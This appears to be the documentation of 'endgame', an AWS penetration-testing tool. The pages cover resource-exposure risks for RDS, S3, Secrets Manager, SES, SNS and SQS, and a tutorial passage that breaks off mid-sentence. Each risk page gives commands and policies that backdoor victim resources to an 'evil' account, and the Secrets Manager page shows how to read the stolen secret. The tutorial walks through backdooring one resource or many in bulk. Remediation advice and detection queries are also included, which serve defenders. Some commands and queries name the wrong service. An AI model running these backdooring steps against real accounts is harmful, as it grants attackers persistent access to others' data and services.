    "content": "# RDS Snapshots\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\n## Steps to Reproduce\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\nendgame expose --service rds --name test-resource-exposure\n```\n\n\n* To view a list of the AWS Accounts that have access to the RDS DB Snapshot, run the following command from the victim account:\n\n```bash\naws rds describe-db-snapshot-attributes \\\n    --db-snapshot-identifier test-resource-exposure\n```\n\n\n## Example\n\n* Observe that the account ID of the evil principal (`999988887777`) is listed alongside the AttributeName called `restore`. This means that the evil account ID is able to restore the snapshot of the RDS database in their own account.\n\n```json\n{\n    \"DBSnapshotAttributesResult\": {\n        \"DBSnapshotIdentifier\": \"test-resource-exposure\",\n        \"DBSnapshotAttributes\": [\n            {\n                \"AttributeName\": \"restore\",\n                \"AttributeValues\": [\n                    \"999988887777\"\n                ]\n            }\n        ]\n    }\n}\n```\n\n## Exploitation\n\nAfter the RDS snapshot is public or shared with the rogue user account, an attacker can then:\n* [copy the snapshot](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_CopySnapshot.html#USER_CopyDBSnapshot)\n* [Restore a DB Instance from the DB Snapshot](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_Tutorials.RestoringFromSnapshot.html)\n* Browse the contents of the database, potentially revealing sensitive or otherwise non-public information.\n\n## Remediation\n\n> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊\n\n* **Encrypt all Snapshots with Customer-Managed Keys**: Follow the encryption-related recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#use-aws-kms-customer-managed-keys)\n* **Trusted Accounts Only**: Ensure that RDS Snapshots are only shared with trusted accounts, and that the trusted accounts truly need access to the RDS Snapshots.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **Restrict access to IAM permissions that could lead to exposure of your RDS Snapshots**: Tightly control access to the following IAM actions:\n      - [rds:DescribeDbClusterSnapshotAttributes](https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBClusterSnapshotAttributes.html): _Grants permission to return a list of DB cluster snapshot attribute names and values for a manual DB cluster snapshot. This includes information on which AWS Accounts have access to the snapshot._\n      - [rds:DescribeDbClusterSnapshots](https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBClusterSnapshots.html): _Grants permission to return information about DB cluster snapshots._\n      - [rds:DescribeDbSnapshotAttributes](https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBSnapshotAttributes.html): _Grants permission to return a list of DB snapshot attribute names and values for a manual DB snapshot. This includes information on which AWS Accounts have access to the snapshot._\n      - [rds:DescribeDbSnapshots](https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBSnapshots.html): _Grants permission to return information about DB snapshots_\n      - [rds:ModifyDBSnapshotAttribute](https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBSnapshotAttribute.html): _Grants permission to add an attribute and values to, or removes an attribute and values from, a manual DB snapshot. This includes the ability to share snapshots with other AWS Accounts._\n      - [rds:ModifyDBClusterSnapshotAttribute](https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBClusterSnapshotAttribute.html): _Grants permission to add an attribute and values to, or removes an attribute and values from, a manual DB cluster snapshot. This includes the ability to share snapshots with other AWS Accounts._\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent \n| filter eventSource='rds.amazonaws.com' AND (eventName='ModifyDBSnapshotAttribute' or eventName='ModifyDBClusterSnapshotAttribute' and requestParameters.attributeName='restore')\n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n- [aws rds modify-db-cluster-snapshot-attribute](https://docs.aws.amazon.com/cli/latest/reference/rds/modify-db-cluster-snapshot-attribute.html)\n- [aws rds modify-db-snapshot-attribute](https://docs.aws.amazon.com/cli/latest/reference/rds/modify-db-snapshot-attribute.html)\n- [aws rds describe-db-snapshot-attributes](https://docs.aws.amazon.com/cli/latest/reference/rds/describe-db-snapshot-attributes.html)\n"
  },
  {
    "path": "docs/risks/s3.md",
    "content": "# S3 Buckets\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\n## Steps to Reproduce\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:evil\n\nendgame expose --service s3 --name test-resource-exposure\n```\n\n* To verify that the S3 bucket has been shared with the public, run the following from the victim account:\n\n```bash\naws s3api get-bucket-policy --bucket test-resource-exposure\n```\n\n* Observe that the contents match the example shown below.\n\n\n## Example\n\nThe response of the `get-bucket-policy` command will return the below. Observe how the Evil Principal (`arn:aws:iam::999988887777:evil`) is granted full access to the S3 bucket.\n\n```json\n{\n    \"Policy\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Sid\\\":\\\"AllowCurrentAccount\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"AWS\\\":\\\"arn:aws:iam::999988887777:evil\\\"},\\\"Action\\\":\\\"s3:*\\\",\\\"Resource\\\":[\\\"arn:aws:s3:::test-resource-exposure\\\",\\\"arn:aws:s3:::test-resource-exposure/*\\\"]}]}\"\n}\n```\n\n## Exploitation\n\n```\nTODO\n```\n\n## Remediation\n\n> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊\n\n* **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies)\n* **Trusted Accounts Only**: Ensure that  S3 Buckets are only shared with trusted accounts, and that the trusted accounts truly need access to the S3 Bucket.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **Restrict access to IAM permissions that could lead to exposure of your S3 Buckets**: Tightly control access to the following IAM actions:\n      - [s3:GetBucketPolicy](https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketPolicy.html): _Grants permission to return the policy of the specified bucket. This includes information on which AWS accounts and principals have access to the bucket._\n      - [s3:ListAllMyBuckets](https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListBuckets.html): _Grants permission to list all buckets owned by the authenticated sender of the request_\n      - [s3:PutBucketPolicy](https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html): _Grants permission to add or replace a bucket policy on a bucket._\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent \n| filter eventSource='s3.amazonaws.com' AND eventName='PutBucketPolicy'\n```\n\nThe following query detects policy modifications which include the default IOC string:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent \n| filter eventSource='s3.amazonaws.com' AND (eventName='PutBucketPolicy' and @message like 'Endgame')\n```\n(More specific queries related to the policy contents do not work due to how CWL parses the requestParameters object on these calls)\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n- [aws s3api put-bucket-policy](https://docs.aws.amazon.com/cli/latest/reference/s3api/put-bucket-policy.html)\n- [aws s3api get-bucket-policy](https://docs.aws.amazon.com/cli/latest/reference/s3api/get-bucket-policy.html)"
  },
  {
    "path": "docs/risks/secretsmanager.md",
    "content": "# Secrets Manager\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\n## Steps to Reproduce\n\n* **Option 1**: To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\nendgame expose --service secretsmanager --name test-resource-exposure\n```\n\n* **Option 2**: To expose the resource using AWS CLI, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\nexport VICTIM_RESOURCE=arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure\nexport EVIL_POLICY='{\"Version\": \"2012-10-17\", \"Statement\": [{\"Sid\": \"AllowCurrentAccount\", \"Effect\": \"Allow\", \"Principal\": {\"AWS\": \"arn:aws:iam::999988887777:user/evil\"}, \"Action\": \"secretsmanager:*\", \"Resource\": [\"arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure\"]}]}'\n\naws secretsmanager put-resource-policy --secret-id --resource-policy $EVIL_POLICY\n```\n\n* To view the contents of the exposed resource policy, run the following:\n\n```bash\naws secretsmanager get-resource-policy --secret-id test-resource-exposure\n```\n\n* Observe that the contents of the exposed resource policy match the example shown below.\n\n## Example\n\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"Endgame\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::999988887777:user/evil\"\n      },\n      \"Action\": \"secretsmanager:*\",\n      \"Resource\": [\n        \"arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure\"\n      ]\n    }\n  ]\n}\n```\n\n## Exploitation\n\n* Authenticate to the `evil` account (In this example, `arn:aws:iam::999988887777:user/evil`)\n\n* Run the following command in the victim account:\n\n```bash\nexport VICTIM_RESOURCE=arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure\n\naws secretsmanager get-secret-value --secret-id $VICTIM_RESOURCE \n```\n\n* Observe that the output resembles the following:\n\n```json\n{\n  \"ARN\": \"arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure\",\n  \"Name\": \"test-resource-exposure\",\n  \"VersionId\": \"DOGECOIN\",\n  \"SecretString\": \"{\\n  \\\"username\\\":\\\"doge\\\",\\n  \\\"password\\\":\\\"coin\\\"\\n}\\n\",\n  \"VersionStages\": [\n    \"AWSCURRENT\"\n  ],\n  \"CreatedDate\": 1523477145.713\n}\n```\n\n## Remediation\n\n* **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies)\n* **Trusted Accounts Only**: Ensure that Secrets Manager secrets are only shared with trusted accounts, and that the trusted accounts truly need access to the secret.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to Secrets Manager secrets. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-secrets-manager) for more details.\n* **Restrict access to IAM permissions that could lead to exposure of your Secrets**: Tightly control access to the following IAM actions:\n      - [secretsmanager:PutResourcePolicy](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_PutResourcePolicy.html): _Enables the user to attach a resource policy to a secret._\n      - [secretsmanager:GetSecretValue](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html): _Enables the user to retrieve and decrypt the encrypted data._\n      - [secretsmanager:DeleteResourcePolicy](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_DeleteResourcePolicy.html): _Enables the user to delete the resource policy attached to a secret._\n      - [secretsmanager:GetResourcePolicy](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetResourcePolicy.html): _Enables the user to get the resource policy attached to a secret._\n      - [secretsmanager:ListSecrets](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_ListSecrets.html): _Enables the user to list the available secrets._\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent \n| filter eventSource='secretsmanager.amazonaws.com' AND (eventName='PutResourcePolicy' or eventName='DeleteResourcePolicy')\n```\n\nThe following query detects policy modifications which include the default IOC string:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent \n| filter eventSource='secretsmanager.amazonaws.com' AND (eventName='PutResourcePolicy' and requestParameters.resourcePolicy like 'Endgame')\n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n* [aws secretsmanager get-resource-policy](https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/get-resource-policy.html)\n* [aws secretsmanager get-secret-value](https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/get-secret-value.html)\n* [aws secretsmanager put-resource-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/secretsmanager/put-resource-policy.html)\n"
  },
  {
    "path": "docs/risks/ses.md",
    "content": "# SES Sender Authorization Policies\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\nSES Sending Authorization Policies can be used to add a rogue IAM user as a [Delegate sender](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/sending-authorization-delegate-sender-tasks.html). This can result in a malicous user sending an email on behalf of your organization, which could lead to phishing attacks against customers or employees, as well as a loss of consumer trust and reputation loss.\n\n### How it works\n\nSending authorization is based on sending authorization policies. If you want to enable a delegate sender to send on your behalf, you create a sending authorization policy and associate the policy to your identity by using the Amazon SES console or the Amazon SES API.\n\nWhen Amazon SES receives the request to send the email, it checks your identity's policy (if present) to determine if you have authorized **the delegate sender** to send on the identity's behalf. If the delegate sender is authorized, Amazon SES accepts the email.\n\nThis can be abused by adding a rogue user as a [Delegate sender](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/sending-authorization-delegate-sender-tasks.html).\n\n## Steps to Reproduce\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\nendgame expose --service ses --name test-resource-exposure.com\n```\n\n* To verify that the sender authorization policy has been set to allow actions from the rogue user, run the following command from the victim account:\n\n```bash\naws ses list-identity-policies --identity test-resource-exposure.com\n```\n\nThe command above will return the following:\n\n```bash\n{\n    \"PolicyNames\": [\n        \"Endgame\"\n    ]\n}\n```\n\n* Take the response from the command above - `Endgame` - and list the policy name in the command below\n\n```bash\naws ses get-identity-policies --identity test-resource-exposure.com --policy-names \"Endgame\"\n```\n\n* Observe that the contents match the example shown below\n\n## Example\n\nThe policy below allows the Evil Principal (`arn:aws:iam::999988887777:user/evil` access to `ses:*` to the victim resource (`arn:aws:ses:us-east-1:111122223333:identity/test-resource-exposure.com`), indicating a successful compromise.\n\n```json\n{\n    \"Policies\": {\n        \"Endgame\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Sid\\\":\\\"AllowCurrentAccount\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"AWS\\\":\\\"arn:aws:iam::111122223333:root\\\"},\\\"Action\\\":\\\"ses:*\\\",\\\"Resource\\\":\\\"arn:aws:ses:us-east-1:111122223333:identity/test-resource-exposure.com\\\"},{\\\"Sid\\\":\\\"Endgame\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"AWS\\\":\\\"arn:aws:iam::999988887777:user/evil\\\"},\\\"Action\\\":\\\"ses:*\\\",\\\"Resource\\\":\\\"arn:aws:ses:us-east-1:111122223333:identity/test-resource-exposure.com\\\"}]}\"\n    }\n}\n\n```\n\n## Exploitation\n\n## Remediation\n\n> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool.\n\n* **Trusted Accounts Only**: Ensure that SES Authorization Policies only authorize specific delegate senders according to your design.\n* **Ensure access is necessary**: For any delegate senders that do have access, ensure that the access is absolutely necessary.\n* **Restrict access to IAM permissions that could lead to manipulation of your SES Sender Authorization Policies**: Tightly control access to the following IAM actions:\n      - [ses:PutIdentityPolicy](https://docs.aws.amazon.com/ses/latest/APIReference/API_PutIdentityPolicy.html): _Adds or updates a sending authorization policy for the specified identity (an email address or a domain)_\n      - [ses:DeleteIdentityPolicy](https://docs.aws.amazon.com/ses/latest/APIReference/API_DeleteIdentityPolicy.html): _Deletes the policy associated with the identity_\n      - [ses:GetIdentityPolicies](https://docs.aws.amazon.com/ses/latest/APIReference/API_GetIdentityPolicies.html): _Returns the requested sending authorization policies for the given identity (an email address or a domain)_\n      - [ses:ListIdentities](https://docs.aws.amazon.com/ses/latest/APIReference/API_ListIdentities.html): _Returns a list containing all of the identities (email addresses and domains) for your AWS account, regardless of verification status\t_\n      - [ses:ListIdentityPolicies](https://docs.aws.amazon.com/ses/latest/APIReference/API_ListIdentityPolicies.html): _Returns a list of sending authorization policies that are attached to the given identity (an email address or a domain)_\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent \n| filter eventSource='ses.amazonaws.com' AND (eventName='PutIdentityPolicy' or eventName='DeleteIdentityPolicy')\n```\n\nThe following query detects policy modifications which include the default IOC string:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent \n| filter eventSource='ses.amazonaws.com' AND (eventName='PutIdentityPolicy' and requestParameters.policyName='Endgame')\n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n* [put-identity-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ses/put-identity-policy.html)\n\n* [Sending Authorization Overview](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/sending-authorization-overview.html)\n\n* [Sending Authorization Policy Examples](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/sending-authorization-policy-examples.html)\n* [Delegate sender](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/sending-authorization-delegate-sender-tasks.html)\n"
  },
  {
    "path": "docs/risks/sns.md",
    "content": "# SNS Topics\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\n## Steps to Reproduce\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\nendgame expose --service sns --name test-resource-exposure\n```\n\n* To verify that the SNS topic has been shared with the evil principal, run the following from the victim account:\n\n```bash\nexport VICTIM_RESOURCE=arn:aws:sns:us-east-1:111122223333:test-resource-exposure\n\naws sns get-topic-attributes \\\n    --topic-arn $VICTIM_RESOURCE\n```\n\n* Observe that the contents match the example shown below.\n\n## Example\n\nThe output will have the following structure:\n\n```json\n{\n    \"Attributes\": {\n        \"SubscriptionsConfirmed\": \"1\",\n        \"DisplayName\": \"my-topic\",\n        \"SubscriptionsDeleted\": \"0\",\n        \"EffectiveDeliveryPolicy\": \"\",\n        \"Owner\": \"111122223333\",\n        \"Policy\": \"SeeBelow\",\n        \"TopicArn\": \"arn:aws:sns:us-east-1:111122223333:test-resource-exposure\",\n        \"SubscriptionsPending\": \"0\"\n    }\n}\n```\n\nThe prettified version of the `Policy` key is below. Observe how the content of the policy grants the evil principal's account ID (`999988887777`) maximum access to the SNS topic.\n\n```json\n{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"Endgame\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"999988887777\"\n      },\n      \"Action\": [\n        \"SNS:AddPermission\",\n        \"SNS:DeleteTopic\",\n        \"SNS:GetTopicAttributes\",\n        \"SNS:ListSubscriptionsByTopic\",\n        \"SNS:Publish\",\n        \"SNS:Receive\",\n        \"SNS:RemovePermission\",\n        \"SNS:SetTopicAttributes\",\n        \"SNS:Subscribe\"\n      ],\n      \"Resource\": \"arn:aws:sns:us-east-1:111122223333:test-resource-exposure\"\n    }\n  ]\n}\n```\n\n## Exploitation\n\n```\nTODO\n```\n\n## Remediation\n\n* **Trusted Accounts Only**: Ensure that SNS Topics are only shared with trusted accounts, and that the trusted accounts truly need access to the SNS Topic.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to SNS Topics. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) for more details.\n* **Restrict access to IAM permissions that could lead to exposure of your SNS Topics**: Tightly control access to the following IAM actions:\n      - [sns:AddPermission](https://docs.aws.amazon.com/sns/latest/api/API_AddPermission.html): _Adds a statement to a topic's access control policy, granting access for the specified AWS accounts to the specified actions._\n      - [sns:RemovePermission](https://docs.aws.amazon.com/sns/latest/api/API_RemovePermission.html): _Removes a statement from a topic's access control policy._\n      - [sns:GetTopicAttributes](https://docs.aws.amazon.com/sns/latest/api/API_GetTopicAttributes.html): _Returns all of the properties of a topic. This includes the resource-based policy document for the SNS Topic, which lists information about who is authorized to access the SNS Topic_\n      - [sns:ListTopics](https://docs.aws.amazon.com/sns/latest/api/API_ListTopics.html): _Returns a list of the requester's topics._\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent \n| filter eventSource='ses.amazonaws.com' AND (eventName='PutIdentityPolicy' or eventName='DeleteIdentityPolicy')\n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n* [add-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sns/add-permission.html)"
  },
  {
    "path": "docs/risks/sqs.md",
    "content": "# SQS Queues\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\n## Steps to Reproduce\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\nendgame expose --service iam --name test-resource-exposure\n```\n\n* To verify that the SQS queue has been shared with a rogue user, run the following from the victim account:\n\n```bash\nexport QUEUE_URL=(`aws sqs get-queue-url --queue-name test-resource-exposure | jq -r '.QueueUrl'`)\n\naws sqs get-queue-attributes --queue-url $QUEUE_URL --attribute-names Policy\n```\n\n* Observe that the contents match the example shown below.\n\n## Example\n\nThe policy below allows the Evil Principal's account ID (`999988887777` access to `sqs:*` to the victim resource (`arn:aws:sqs:us-east-1:111122223333:test-resource-exposure`), indicating a successful compromise.\n\n\n```json\n{\n    \"Attributes\": {\n        \"Policy\": \"{\\\"Version\\\":\\\"2008-10-17\\\",\\\"Id\\\":\\\"arn:aws:sqs:us-east-1:111122223333:test-resource-exposure/SQSDefaultPolicy\\\",\\\"Statement\\\":[{\\\"Sid\\\":\\\"AllowCurrentAccount\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"AWS\\\":\\\"arn:aws:iam::111122223333:root\\\"},\\\"Action\\\":\\\"SQS:*\\\",\\\"Resource\\\":\\\"arn:aws:sqs:us-east-1:111122223333:test-resource-exposure\\\"},{\\\"Sid\\\":\\\"Endgame\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"AWS\\\":\\\"arn:aws:iam::999988887777:root\\\"},\\\"Action\\\":\\\"SQS:*\\\",\\\"Resource\\\":\\\"arn:aws:sqs:us-east-1:111122223333:test-resource-exposure\\\"}]}\"\n    }\n}\n\n```\n\n## Exploitation\n\n```\nTODO\n```\n\n## Remediation\n\n* **Trusted Accounts Only**: Ensure that SQS Queues are only shared with trusted accounts, and that the trusted accounts truly need access to the SQS Queue.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to  SQS Queues. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) for more details.\n* **Restrict access to IAM permissions that could lead to exposure of your SQS Queues**: Tightly control access to the following IAM actions:\n      - [sqs:AddPermission](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_AddPermission.html): _Adds a permission to a queue for a specific principal._\n      - [sqs:RemovePermission](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_RemovePermission.html): _Revokes any permissions in the queue policy that matches the specified Label parameter._\n      - [sqs:GetQueueAttributes](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_GetQueueAttributes.html): _Gets attributes for the specified queue. This includes retrieving the list of principals who are authorized to access the queue._\n      - [sqs:GetQueueUrl](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_GetQueueUrl.html): _Returns the URL of an existing queue._\n      - [sqs:ListQueues](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_ListQueues.html): _Returns a list of your queues._\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent \n| filter eventSource='sqs.amazonaws.com' AND (eventName='AddPermission' or eventName='RemovePermission')\n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n* [aws sqs add-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sqs/add-permission.html)\n* [aws sqs get-queue-attributes](https://docs.aws.amazon.com/cli/latest/reference/sqs/get-queue-attributes.html)\n"
  },
  {
    "path": "docs/tutorial.md",
    "content": "# Tutorial\n\nThe prerequisite for an attacker running Endgame is they have access to AWS API credentials for the victim account which have privileges to update resource policies.\n\nEndgame can run in two modes, `expose` or `smash`. The less-destructive `expose` mode is surgical, updating the resource policy on a single attacker-defined resource to include a back door to a principal they control (or the internet if they're mean).\n\n`smash`, on the other hand, is more destructive (and louder). `smash` can run on a single service or all supported services. In either case, for each service it enumerates a list of resources in that region, reads the current resource policy on each, and applies a new policy which includes the \"evil principal\" the attacker has specified. The net effect of this is that depending on the privileges they have in the victim account, an attacker can insert dozens of back doors which are not controlled by the victim's IAM policies.\n\n## Step 1: Setup\n\n* First, authenticate to AWS CLI using credentials to the victim's account.\n\n* Set the environment variables for `EVIL_PRINCIPAL` (required). Optionally, set the environment variables for `AWS_REGION` and `AWS_PROFILE`.\n\n```bash\n# Set `EVIL_PRINCIPAL` environment variable to the rogue IAM User or \n# Role that you want to give access to.\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\n# If you don't supply these values, these will be the defaults.\nexport AWS_REGION=\"us-east-1\"\nexport AWS_PROFILE=\"default\"\n```\n\n## Step 2: Create Demo Infrastructure\n\nThis program makes modifications to live AWS Infrastructure, which can vary from account to account. We have bootstrapped some of this for you using [Terraform](https://www.terraform.io/intro/index.html). **Note: This will create real AWS infrastructure and will cost you money.**\n\n```bash\n# To create the demo infrastructure\nmake terraform-demo\n```\n\n## Step 3: List Victim Resources\n\nYou can use the `list-resources` command to list resources in the account that you can backdoor.\n\n* Examples:\n\n```bash\n# List IAM Roles, so you can create a backdoor via their AssumeRole policies\nendgame list-resources -s iam\n\n# List S3 buckets, so you can create a backdoor via their Bucket policies \nendgame list-resources --service s3\n\n# List all resources across services that can be backdoored\nendgame list-resources --service all\n```\n\n## Step 4: Backdoor specific resources\n\n* Use the `--dry-run` command first to test it without modifying anything:\n\n```bash\nendgame expose --service iam --name test-resource-exposure --dry-run\n```\n\n* To create the backdoor to that resource from your rogue account, run the following:\n\n```bash\nendgame expose --service iam --name test-resource-exposure\n```\n\nExample output:\n\n![expose](images/add-myself-foreal.png)\n\n\n## Step 5: Roll back changes\n\n* If you want to atone for your sins (optional) you can use the `--undo` flag to roll back the 